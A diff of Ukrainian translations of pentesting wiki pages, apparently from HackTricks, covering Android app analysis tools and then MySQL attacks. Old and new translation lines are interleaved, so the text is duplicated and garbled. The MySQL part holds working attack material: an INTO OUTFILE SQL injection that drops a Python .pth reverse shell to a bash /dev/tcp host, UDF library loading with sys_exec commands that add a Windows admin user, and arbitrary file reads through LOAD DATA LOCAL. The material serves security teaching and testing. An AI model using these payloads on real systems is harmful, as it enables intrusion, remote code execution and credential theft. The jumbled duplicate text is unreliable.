Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити логи, згенеровані Frida scripts, і "**Live API Monitor**", щоб побачити всі виклики заблокованих методів, передані аргументи та повернуті значення (це з’явиться після натискання "Start Instrumentation").\
MobSF також дозволяє завантажувати власні **Frida scripts** (щоб відправити результати ваших Frida scripts до MobSF, використовуйте функцію `send()`). Є також **кілька заздалегідь написаних скриптів**, які можна завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **виберіть їх**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (логи цих скриптів будуть видні в "**Frida Live Logs**").
Щоб **start** динамічне тестування натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити логи, згенеровані Frida scripts, і "**Live API Monitor**", щоб побачити всі виклики до hooked methods, передані аргументи та повернуті значення (це з'явиться після натискання "Start Instrumentation").\
MobSF також дозволяє завантажувати власні **Frida scripts** (щоб надіслати результати ваших Friday scripts до MobSF використовуйте функцію `send()`). Воно також має **several pre-written scripts**, які ви можете завантажити (можете додати більше у `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **select them**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете бачити логи тих скриптів всередині "**Frida Live Logs**").
![](<../../images/image (419).png>)
Крім того, доступні допоміжні Frida функціональності:
Крім того, у вас є кілька допоміжних функцій Frida:
- **Enumerate Loaded Classes**: Виведе всі завантажені класи
- **Capture Strings**: Виводить усі перехоплені рядки під час використання застосунку (дуже шумно)
- **Capture String Comparisons**: Може бути дуже корисним. **Показує 2 рядки, що порівнюються**, і чи результат був True або False.
- **Enumerate Class Methods**: Введіть назву класу (наприклад "java.io.File") — буде виведено всі методи класу.
- **Search Class Pattern**: Пошук класів за шаблоном
- **Trace Class Methods**: **Trace** цілого **класу** (дивіться вхідні та вихідні дані всіх методів класу). Пам’ятайте, що за замовчуванням MobSF трасує декілька цікавих Android API методів.
- **Capture Strings**: Виводитиме всі захоплені рядки під час використання застосунку (дуже шумно)
- **Capture String Comparisons**: Може бути дуже корисним. Воно **показуватиме 2 рядки, що порівнюються**, і чи був результат True або False.
- **Enumerate Class Methods**: Введіть назву класу (наприклад "java.io.File") і воно виведе всі методи класу.
- **Search Class Pattern**: Шукає класи за шаблоном
- **Trace Class Methods**: **Trace** цілий клас (див. входи та виходи всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих Android Api методів.
Після вибору потрібного допоміжного модуля натисніть "**Start Instrumentation**" — ви побачите всі виводи в "**Frida Live Logs**".
Після того, як ви обрали допоміжний модуль, який хочете використати, потрібно натиснути "**Start Intrumentation**" і ви побачите всі виводи в "**Frida Live Logs**".
**Shell**
MobSF також надає shell з деякими **adb** командами, **MobSF commands** та поширеними **shell** **commands** у нижній частині сторінки dynamic analysis. Деякі корисні команди:
MobSF також надає shell з деякими **adb** командами, **MobSF commands**, та поширеними **shell commands** внизу сторінки динамічного аналізу. Декілька цікавих команд:
```bash
help
shell ls
@ -650,34 +650,34 @@ exported_activities
services
receivers
```
**HTTP інструменти**
**HTTP tools**
Коли http-трафік перехоплено, ви можете побачити непривабливий вигляд перехопленого трафіку внизу на "**HTTP(S) Traffic**" або більш приємний перегляд у зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
Щоб зробити це, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> натисніть "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Коли HTTP-трафік перехоплено, ви можете побачити неохайний вигляд перехопленого трафіку у нижній частині "**HTTP(S) Traffic**" або приємніший вигляд у зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете **відправити** **перехоплені запити** до **proxies**, наприклад Burp або Owasp ZAP.\
Для цього: _увімкніть Burp -->_ _вимкніть Intercept --> в MobSB HTTPTools виберіть запит_ --> натисніть "**Send to Fuzzer**" --> _виберіть адресу проксі_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Після завершення динамічного аналізу з MobSF ви можете натиснути "**Start Web API Fuzzer**", щоб **fuzz http requests** і шукати вразливості.
Після завершення dynamic analysis з MobSF можна натиснути "**Start Web API Fuzzer**", щоб **fuzz http requests** і шукати вразливості.
> [!TIP]
> Після виконання динамічного аналізу з MobSF налаштування проксі можуть бути некоректними, і ви не зможете виправити їх через GUI. Ви можете виправити налаштування проксі, виконавши:
> Після виконання dynamic analysis з MobSF налаштування proxy settings можуть бути некоректними, і ви не зможете виправити їх через GUI. Ви можете виправити proxy settings, виконавши:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Асистований динамічний аналіз з Inspeckage
### Assisted Dynamic Analysis with Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Цей інструмент використовує деякі **Hooks**, щоб показати вам **what is happening in the application** поки ви виконуєте **динамічний аналіз**.
Ви можете отримати інструмент з [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Цей інструмент використовує деякі **Hooks**, щоб повідомляти **що відбувається в додатку** під час виконання **dynamic analysis**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Це **great tool to perform static analysis with a GUI**
Це **чудовий інструмент для виконання static analysis з GUI**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Цей інструмент призначений для пошуку кількох **security related Android application vulnerabilities**, як у **source code**, так і в **packaged APKs**. Інструмент також **capable of creating a "Proof-of-Concept" deployable APK** та **ADB commands**, щоб експлуатувати деякі знайдені вразливості (Exposed activities, intents, tapjacking...). Як і з Drozer, немає потреби root-ити тестовий пристрій.
Цей інструмент призначений для пошуку кількох **security related Android application vulnerabilities**, як у **source code**, так і в **packaged APKs**. Інструмент також **capable of creating a "Proof-of-Concept" deployable APK** та **ADB commands** для експлуатації деяких знайдених вразливостей (Exposed activities, intents, tapjacking...). Як і з Drozer, немає потреби root тестового пристрою.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -687,9 +687,9 @@ qark --java path/to/specific/java/file.java
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Відображає всі витягнуті файли для зручного перегляду
- Автоматично декомпілює APK файли у формат Java та Smali
- Автоматично декомпілює APK файли у Java та Smali формат
- Аналізує AndroidManifest.xml на наявність типових вразливостей та поведінки
- Статичний аналіз вихідного коду на наявність типових вразливостей та поведінки
- Статичний аналіз вихідного коду на типові вразливості та поведінку
- Інформація про пристрій
- та інше
```bash
@ -697,11 +697,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER — це консольна програма, яку можна використовувати в Windows, MacOS X та Linux; вона аналізує _.apk_ файли в пошуку вразливостей. Вона робить це шляхом розпаковування APK і застосування ряду правил для виявлення цих вразливостей.
SUPER — це програма командного рядка, яка може використовуватись на Windows, MacOS X і Linux, і аналізує _.apk_ файли у пошуках вразливостей. Вона робить це шляхом розпакування APKs та застосування набору правил для виявлення цих вразливостей.
Усі правила зосереджені у файлі `rules.json`, і кожна компанія або тестувальник можуть створювати власні правила для аналізу того, що їм потрібно.
Всі правила зберігаються у файлі `rules.json`, і кожна компанія або тестувальник може створити власні правила для аналізу того, що їм потрібно.
Завантажте останні бінарні файли зі [download page](https://superanalyzer.rocks/download.html)
Завантажте останні бінарні файли зі сторінки [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -709,9 +709,9 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn — **кросплатформний** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers виконувати [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) над мобільними додатками.
StaCoAn — це **crossplatform** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers виконувати [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) на мобільних додатках.
Концепція полягає в тому, що ви перетягуєте файл вашого мобільного застосунку (файл .apk або .ipa) у застосунок StaCoAn — і він згенерує для вас візуальний та портативний звіт. Ви можете налаштувати параметри та wordlists, щоб отримати індивідуальний досвід.
Ідея полягає в тому, що ви перетягуєте файл вашого мобільного додатку (an .apk or .ipa file) у застосунок StaCoAn, і він згенерує для вас візуальний та портативний звіт. Ви можете налаштувати налаштування та wordlists для отримання персоналізованого досвіду.
Завантажити[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
@ -719,7 +719,7 @@ StaCoAn — **кросплатформний** інструмент, який д
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework — це система аналізу вразливостей Android, яка допомагає розробникам або hackers знаходити потенційні вразливості безпеки в Android-додатках.\
AndroBugs Framework — система аналізу вразливостей Android, яка допомагає розробникам або hackers знаходити потенційні вразливості в Android-застосунках.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -727,11 +727,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** — інструмент, основна мета якого — виявляти та попереджувати користувача про потенційно шкідливу поведінку Android-застосунку.
**Androwarn** — інструмент, основна мета якого — виявляти та попереджати користувача про потенційно шкідливу поведінку, реалізовану Android-додатком.
Виявлення виконується шляхом **static analysis** Dalvik bytecode застосунку, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard).
Виявлення виконується за допомогою **static analysis** байткоду Dalvik додатка, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard).
Цей інструмент шукає **common behavior of "bad" applications** такі як: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Цей інструмент шукає **поширені ознаки "шкідливих" додатків**, такі як: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -739,84 +739,84 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals.
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Це інструмент, який об'єднує поширені mobile application reverse engineering and analysis tools, щоб допомогти у тестуванні мобільних додатків проти OWASP mobile security threats. Мета — зробити це завдання простішим і зручнішим для розробників мобільних додатків та фахівців із безпеки.
Він здатен:
Він може:
- Витягувати Java та Smali код за допомогою різних інструментів
- Аналізувати APK за допомогою: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Витягувати приватну інформацію з APK за допомогою регулярних виразів.
- Витягувати приватну інформацію з APK за допомогою regexps.
- Аналізувати Manifest.
- Аналізувати знайдені домени за допомогою: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Деобфускувати APK через [apk-deguard.com](http://www.apk-deguard.com)
- Аналізувати знайдені домени за допомогою: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) та [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK через [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Корисно для виявлення malware: [https://koodous.com/](https://koodous.com/)
## Обфускація/Деобфускація коду
## Obfuscating/Deobfuscating code
Зверніть увагу, що залежно від сервісу та конфігурації, яку ви використовуєте для обфускації коду, секрети можуть бути обфусковані або залишитись у відкритому вигляді.
Зверніть увагу, що залежно від сервісу та конфігурації, яку ви використовуєте для обфускації коду, секрети можуть залишатися або не залишатися обфускованими.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Згідно з [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** — це інструмент з відкритим кодом командного рядка, який стискає, оптимізує та обфускує Java-код. Він вміє оптимізувати байткод, а також виявляти та видаляти невикористовувані інструкції. ProGuard — вільне програмне забезпечення і поширюється під GNU General Public License, version 2.
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Він може оптимізувати байткод, а також виявляти та видаляти невикористовувані інструкції. ProGuard є вільним програмним забезпеченням і розповсюджується під ліцензією GNU General Public License, version 2.
ProGuard постачається в складі Android SDK і запускається під час збірки застосунку в release-режимі.
ProGuard розповсюджується як частина Android SDK і запускається при збірці додатка у release mode.
### [DexGuard](https://www.guardsquare.com/dexguard)
Знайдіть покроковий посібник із деобфускації apk на [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Згідно з цим посібником) Востаннє, коли ми перевіряли, режим роботи Dexguard був:
(From that guide) Last time we checked, the Dexguard mode of operation was:
- завантажити ресурс як InputStream;
- передати результат у клас, що наслідується від FilterInputStream, щоб розшифрувати його;
- виконати деяку марну обфускацію, щоб витратити кілька хвилин часу реверсера;
- передати розшифрований результат до ZipInputStream, щоб отримати DEX файл;
- врешті завантажити отриманий DEX як Resource, використовуючи метод `loadDex`.
- load a resource as an InputStream;
- feed the result to a class inheriting from FilterInputStream to decrypt it;
- do some useless obfuscation to waste a few minutes of time from a reverser;
- feed the decrypted result to a ZipInputStream to get a DEX file;
- finally load the resulting DEX as a Resource using the `loadDex` method.
### [DeGuard](http://apk-deguard.com)
**DeGuard відміняє процес обфускації, виконаний Android obfuscation tools. Це дозволяє виконувати численні security analyses, включаючи інспекцію коду та виявлення бібліотек.**
**DeGuard відновлює код після обфускації, виконаної інструментами обфускації для Android. Це дозволяє проводити численні аналізи безпеки, включно з перевіркою коду та виявленням бібліотек.**
Ви можете завантажити обфускований APK на їхню платформу.
Ви можете завантажити обфускований APK на їх платформу.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Це LLM-інструмент для виявлення потенційних вразливостей у android apps та деобфускації коду android app. Використовує Google's Gemini public API.
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
### [Simplify](https://github.com/CalebFenton/simplify)
Це generic android deobfuscator. Simplify фактично виконує додаток, щоб зрозуміти його поведінку, а потім намагається оптимізувати код так, щоб він поводився ідентично, але був простішим для розуміння людиною. Кожен тип оптимізації простий і універсальний, тому не має значення, який саме тип обфускації використано.
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD надає інформацію про те, як було створено APK. Він ідентифікує багато компіляторів, packers, obfuscators та інші дивні штуки. Це [_PEiD_](https://www.aldeid.com/wiki/PEiD) для Android.
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
### Manual
[Прочитайте цей посібник, щоб дізнатися деякі трюки щодо **how to reverse custom obfuscation**](manual-deobfuscation.md)
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b — це Android security virtual machine на базі ubuntu-mate, яка включає колекцію останніх framework, tutorials та лабораторій від різних security geeks та дослідників для reverse engineering та malware analysis.
AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
## Посилання
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Це чудовий список ресурсів
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Короткий курс по Android
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [SSLPinDetect: Розширене виявлення SSL Pinning для аналізу безпеки Android](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
## Ще спробувати
## Yet to try
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

View File

@ -4,7 +4,7 @@
## **Основна інформація**
**MySQL** — це система з відкритим кодом для керування реляційними базами даних (**Relational Database Management System (RDBMS)**), яка доступна безкоштовно. Вона використовує **Structured Query Language (SQL)** для керування та маніпулювання базами даних.
**MySQL** — це відкрита система управління реляційними базами даних (Relational Database Management System — RDBMS), яка доступна безкоштовно. Вона працює на мові структурованих запитів (SQL) і дозволяє керувати та маніпулювати базами даних.
**Порт за замовчуванням:** 3306
```
@ -17,14 +17,14 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Віддалений
### Віддалено
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```
## External Enumeration
## Зовнішня Enumeration
Деякі enumeration дії вимагають дійсних облікових даних
Деякі з enumeration дій вимагають дійсних credentials
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
## **Команди MySQL**
## **MySQL команди**
```bash
show databases;
use <database>;
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
### Перерахування дозволів MySQL
### Перелічення дозволів MySQL
```sql
#Mysql
SHOW GRANTS [FOR user];
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
У документації можна побачити значення кожного привілею: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
@ -110,30 +110,30 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (специфічні для сайту хуки конфігурації)
#### INTO OUTFILE → Python `.pth` RCE (специфічні для сайту конфігураційні хуки)
Зловживаючи класичним примітивом `INTO OUTFILE`, можна отримати *виконання довільного коду* на цілях, які пізніше запускають **Python** скрипти.
1. Використайте `INTO OUTFILE`, щоб записати користувацький **`.pth`** файл у будь-який каталог, який автоматично підвантажується `site.py` (наприклад `.../lib/python3.10/site-packages/`).
2. Файл `.pth` може містити *один рядок*, що починається з `import `, після якого йде довільний Python код, який буде виконуватись при кожному запуску інтерпретатора.
3. Коли інтерпретатор неявно запускається CGI-скриптом (наприклад `/cgi-bin/ml-draw.py` із shebang `#!/bin/python`), payload виконується з тими ж привілеями, що й процес веб-сервера (FortiWeb запускав його як **root** → повне pre-auth RCE).
1. Використовуйте `INTO OUTFILE` щоб записати власний файл **`.pth`** в будь-який каталог, який автоматично підвантажується `site.py` (наприклад, `.../lib/python3.10/site-packages/`).
2. Файл `.pth` може містити *один рядок*, що починається з `import ` і далі довільний Python-код, який виконуватиметься при кожному запуску інтерпретатора.
3. Коли інтерпретатор неявно виконується CGI-скриптом (наприклад `/cgi-bin/ml-draw.py` з shebang `#!/bin/python`), payload виконується з тими ж привілеями, що і процес веб-сервера (FortiWeb запускав це як **root** → повний pre-auth RCE).
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Приклад створення файлу через **UNION** query (пробіли замінено на `/**/`, щоб обійти фільтр пробілів `sscanf("%128s")` і зберегти загальну довжину ≤128 байтів):
Приклад створення файлу через **UNION** query (символи пробілів замінені на `/**/`, щоб bypass фільтр пробілів `sscanf("%128s")` і зберегти загальну довжину ≤128 байт):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Важливі обмеження та способи обходу:
Важливі обмеження та обхідні шляхи:
* `INTO OUTFILE` **не може перезаписувати** існуючі файли; оберіть нове ім'я файлу.
* Шлях до файлу вирішується **відносно MySQLs CWD**, тому префікс `../../` допомагає скоротити шлях і обійти обмеження абсолютного шляху.
* Якщо введення атакуючого витягується з `%128s` (або подібним), будь-який пробіл призведе до усічення payload; використовуйте послідовності коментарів MySQL `/**/` або `/*!*/` замість пробілів.
* Користувачу MySQL, що виконує запит, потрібна привілея `FILE`, але в багатьох appliances (e.g. FortiWeb) сервіс запускається як **root**, що дає дозвіл на запис майже скрізь.
* `INTO OUTFILE` **не може перезаписувати** існуючі файли; виберіть нове ім'я файлу.
* Шлях до файлу розв'язується **відносно MySQLs CWD**, тому префікс `../../` допомагає скоротити шлях і обійти обмеження абсолютних шляхів.
* Якщо введення атакуючого витягується за допомогою `%128s` (або подібного), будь-який пробіл обріже payload; використовуйте послідовності коментарів MySQL `/**/` або `/*!*/`, щоб замінити пробіли.
* Користувач MySQL, що виконує запит, потребує привілею `FILE`, але в багатьох appliances (e.g. FortiWeb) сервіс працює як **root**, що дає можливість запису майже будь-куди.
Після розміщення `.pth`, просто викличте будь-який CGI, що обробляється python interpreter, щоб отримати виконання коду:
Після скидання `.pth` просто зробіть запит до будь-якого CGI, який обробляє python interpreter, щоб отримати виконання коду:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
@ -145,14 +145,17 @@ $ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
---
## MySQL arbitrary read file by client
Насправді, коли ви намагаєтеся **load data local into a table**, сервер MySQL або MariaDB просить **клієнта прочитати** **content of a file** і надіслати його вміст. **Якщо ви зможете підробити mysql client, щоб він підключився до вашого власного MySQL server, ви зможете прочитати arbitrary files.**\
Зверніть увагу, що це поведінка при використанні:
Насправді, коли ви намагаєтеся **load data local into a table**, MySQL або MariaDB сервер просить **клієнта прочитати** **вміст файлу** і відправити його. **Тоді, якщо ви зможете змінити mysql client так, щоб він підключився до вашого власного MySQL server, ви зможете прочитати arbitrary files.**\
Зверніть увагу, що така поведінка спостерігається при використанні:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Зверніть увагу на слово "local")\ Оскільки без "local" ви можете отримати:
(Зверніть увагу на слово "local")\
Тому без "local" ви можете отримати:
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -168,25 +171,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
### Користувач Mysql
### Mysql User
Це буде дуже цікаво, якщо mysql працює як **root**:
Особливо цікаво, якщо mysql запущено під **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Небезпечні налаштування mysqld.cnf
#### Небезпечні параметри mysqld.cnf
У конфігурації сервісів MySQL використовуються різні параметри для визначення їхньої роботи та заходів безпеки:
У конфігурації сервісів MySQL використовуються різні налаштування для визначення його роботи та заходів безпеки:
- Параметр **`user`** використовується для вказання користувача, під яким буде запущено сервіс MySQL.
- **`password`** використовується для встановлення пароля, пов'язаного з користувачем MySQL.
- **`admin_address`** вказує IP-адресу, яка слухає TCP/IP-з'єднання на адміністративному мережевому інтерфейсі.
- Змінна **`debug`** вказує на поточні налаштування дебагу, які можуть містити чутливу інформацію в логах.
- **`sql_warnings`** регулює, чи генеруються інформаційні рядки для одно-рядкових INSERT-запитів при появі попереджень, що також може призводити до включення чутливої інформації в логи.
- Налаштування **`user`** використовується для вказання користувача, від імені якого буде виконуватися служба MySQL.
- **`password`** застосовується для встановлення пароля, пов'язаного з користувачем MySQL.
- **`admin_address`** вказує IP-адресу, яка прослуховує TCP/IP-з'єднання на адміністративному мережевому інтерфейсі.
- Змінна **`debug`** вказує на поточні налаштування налагодження, які можуть включати конфіденційну інформацію в логах.
- **`sql_warnings`** керує тим, чи генеруються інформаційні рядки для одно-рядкових INSERT-запитів при виникненні попереджень, що може призводити до включення конфіденційних даних у логи.
- За допомогою **`secure_file_priv`** обмежується область операцій імпорту та експорту даних для підвищення безпеки.
### Privilege escalation
### Ескалація привілеїв
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -204,13 +207,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Підвищення привілеїв через бібліотеку
### Privilege Escalation via library
Якщо **mysql server працює від імені root** (або іншого користувача з вищими привілеями), ви можете змусити його виконувати команди. Для цього потрібно використовувати **визначені користувачем функції**. А щоб створити таку функцію, вам потрібна **бібліотека** для ОС, на якій працює mysql.
Якщо **mysql server is running as root** (або інший користувач з більшими привілеями), ви можете змусити його виконувати команди. Для цього потрібно використовувати **user defined functions**. А щоб створити user defined функцію, вам потрібна **бібліотека** для ОС, на якій запущено mysql.
Зловмисну бібліотеку можна знайти в sqlmap та metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** — це бібліотеки **linux**, а **`.dll`** — бібліотеки **Windows**; оберіть ту, яка вам потрібна.
Зловмисну бібліотеку можна знайти всередині sqlmap та metasploit, виконавши **`locate "*lib_mysqludf_sys*"`**. Файли **`.so`** — це бібліотеки для **linux**, а **`.dll`** — для **Windows**, виберіть ту, яка вам потрібна.
Якщо у вас **немає** цих бібліотек, ви можете або **пошукати їх**, або завантажити цей [**linux C code**](https://www.exploit-db.com/exploits/1518) і **скомпілювати його на вразливій машині з linux**:
Якщо у вас **немає** цих бібліотек, ви можете або **шукати їх**, або завантажити цей [**linux C code**](https://www.exploit-db.com/exploits/1518) і **скомпілювати його на вразливій машині під linux**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@ -249,38 +252,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Порада для Windows: створення каталогів через NTFS ADS з SQL
#### Порада для Windows: створення директорій за допомогою NTFS ADS з SQL
У NTFS можна примусово створити каталог, використовуючи Alternate Data Stream (ADS), навіть якщо доступний лише примітив запису файлу. Якщо класичний ланцюжок UDF очікує директорію `plugin`, але її не існує, а `@@plugin_dir` невідомий або заблокований, ви можете створити її спочатку за допомогою `::$INDEX_ALLOCATION`:
На NTFS ви можете змусити створення директорії, використовуючи alternate data stream, навіть коли є лише примітив запису файлу. Якщо класичний UDF-ланцюг очікує директорію `plugin`, але вона не існує, а `@@plugin_dir` невідомий або заблокований, ви можете спочатку створити її за допомогою `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Це перетворює обмежений `SELECT ... INTO OUTFILE` на більш повний примітив у Windows-стеках, створюючи необхідну структуру папок для UDF drops.
Це перетворює обмежений `SELECT ... INTO OUTFILE` на більш повноцінний примітив у Windows-стеках, створюючи необхідну структуру папок для UDF drops.
### Отримання облікових даних MySQL з файлів
У файлі _/etc/mysql/debian.cnf_ можна знайти **пароль у відкритому тексті** користувача **debian-sys-maint**
Всередині _/etc/mysql/debian.cnf_ можна знайти **пароль у відкритому тексті** користувача **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
